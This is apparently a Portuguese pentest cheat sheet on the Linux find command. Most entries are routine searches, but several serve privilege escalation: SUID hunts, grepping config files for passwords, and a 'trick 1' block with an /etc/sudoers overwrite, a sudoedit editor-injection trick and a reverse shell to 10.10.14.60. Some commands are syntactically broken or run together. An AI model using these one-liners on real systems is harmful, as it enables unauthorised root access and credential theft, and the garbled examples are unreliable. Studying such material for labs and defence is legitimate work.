Find variables

Vc pode usar o comando find para procurar arquivos com o bit SUID definido em todo o sistema de arquivos:

```
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -4000 -user root 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
sudo find / -type f | grep -i "arquivo" 2>/dev/null
sudo find / -perm -4755 2>/dev/null
find / -perm -4000 -type f
find / -type f -perm -04000 -ls 2>/dev/null
find / -type f -name root.txt 2>/dev/null
find / -type f -name user.txt 2>/dev/null
```

1 - Procura simples

```
find . -name arquivo.txt
./arquivo.txt
```

2 - Procura ignorando case sensitive

```
find /home/ -iname arquivo.txt
./arquivo.txt
./Arquivo.txt
```

3 - Procura dir

find / -type -d -name Fotos arquivo.txt
/home/user/Fotos

4 - Procura com coringas

find /home/ -name *rquivo*
./home/arquivo.txt
./home/Arquivo.txt
./home/Meus_Arquivo-NOVOS.txt
./home/arquivo.sh

5 - Procura por tipo de arquivos

find / -type -f -name Fotos *.odt
./arquivo.odt
./terminalroot.odt

6 - Procura por permissão e encontra todos os arquivos que possuem permissão 777

find . -type f -perm 0777 -print

7 - Procura diferente de permissão encontra todos arquivos que não possuem a permissão 777

find / -type f ! -perm 777

8 - Procura arquivos os diretórios vazis sem dizer se é -type d ou -type f ele procura ambos

find MinhaPasta/ -empty
MinhaPasta/DirVazio
MinhaPasta/arquivoVazio.txt • -type d procura só diretórios

find MinhaPasta/ -type d -empty
MinhaPasta/DirVazio

-type f procura só arquivos

find MinhaPasta/ -type f -empty
MinhaPasta/arquivoVazio.txt

9 - Procura pastas ocultas

find /tmp -type f -name ".*"

10 - Procura por tamanho vai encontrar todos os arquivos maiores que 10 MB

find . -type f -size +10MVai encontrar todos os arquivos menores que 10 MB
find . -type f -size -10M

11 - Procura e remove com -exec

find . -type f -name arquivoVazio.txt -exec rm -f {} \;Ou com xargs
find . -type f -name arquivoVazio.txt | xargs rm -f

12 - Procura por nome dentro do arquivo

find MeusArquivos/ -name "." -exec grep -Hin "Anomalias" {} \;
MeusArquivos/arquivo.txt:1:Anomalias

13 - Procura arquivos ACESSADOS (atime) nas últimas 24 horas (para mais de 3 dias , use +3)

find . -type f -atime -1 -exec ls -l {} \;

14 - Procura arquivos ACESSADOS (amin) nos últimos 5 minutos

find . -type f -amin -5

15 - Procura arquivos CRIADOS (ctime) nas últimas 12 horas

find . -type f -ctime -0.5 -exec ls -l {} \;

16 - Procura arquivos MODIFICADOS (mtime) nas últimas 6 horas

find . -type f -mtime -0.25

17 - Procura arquivos do tipo Sticky Bit com permissão 551

find / -perm 1551

18 - Procura arquivos SUID

find / -perm /u=s

19 - Procura arquivos SGID

find / -perm /g+s

20 - Procura arquivos executáveis

find / -perm /a=xou só para Leitura
find / -perm /u=rExistem mais possibilidades, você pode ver todas no manual do comando:
man find

(trick 1)

echo "edwards ALL=(ALL:ALL) ALL" > /etc/sudoers
export EDITOR="nano -- /app/venv/bin/activate"
sudo -u dev_admin sudoedit /app/config_test.json
sudo sh -i >& /dev/tcp/10.10.14.60/8080 0>&1

https://resources.infosecinstitute.com/topic/privilege-escalation-linux-live-examples/

1) Localizar arquivos e diretórios graváveis

durante a escalação de privilégios, localizar arquivos e diretórios graváveis pode ser útil, pois pode permitir a execução de código arbitrário ou a modificação de arquivos importantes do sistema. O seguinte comando pode ser usado para localizar todos os arquivos e diretórios graváveis dentro do diretório raiz:

find / -writable -type d 2>/dev/null

2) Encontrando binários SUID/SGID

Os binários SUID/SGID são programas executados com as permissões de seu proprietário ou grupo, respectivamente, que podem levar à escalação de privilégios se não forem configurados corretamente. O seguinte comando pode ser usado para encontrar binários SUID/SGID no sistema:

find / -type f -perm /6000 2>/dev/null

3) Encontrando arquivos legíveis

Arquivos legíveis pelo mundo são arquivos que podem ser lidos por qualquer usuário no sistema, o que pode levar à exibição de informações eficazes. O seguinte comando pode ser usado para encontrar todos os arquivos legíveis pelo mundo:

find / -type f -perm /o+r 2>/dev/null

4) Encontrando arquivos e diretórios ocultos

arquivos e diretórios ocultos podem conter informações confidenciais ou configurações que podem ser aproveitadas para escalonamento de privilégios. O seguinte comando pode ser usado para localizar todos os arquivos e diretórios ocultos no diretório raiz:

find / -name ".*" -type d -maxdepth 1 -exec ls -ald {} +

5) Encontrar senhas e credenciais

Senhas e credenciais podem ser armazenadas em arquivos de configuração ou em outros locais confidenciais do sistema. O seguinte comando pode ser usado para procurar arquivos contendo palavras-chave como "senha" ou "credencial":

find / -type f -name "*.conf" -exec grep -iE 'password=|pass=|pwd=|credentials=' {} +

6) Encontrar arquivos confidenciais

arquivos confidenciais podem ser armazenados em locais não padrão ou com permissões não padrão. O seguinte comando pode ser usado para procurar arquivos

com permissões específicas:

find / -type f -perm /4000 -o -perm /2000 -exec ls -ald {} +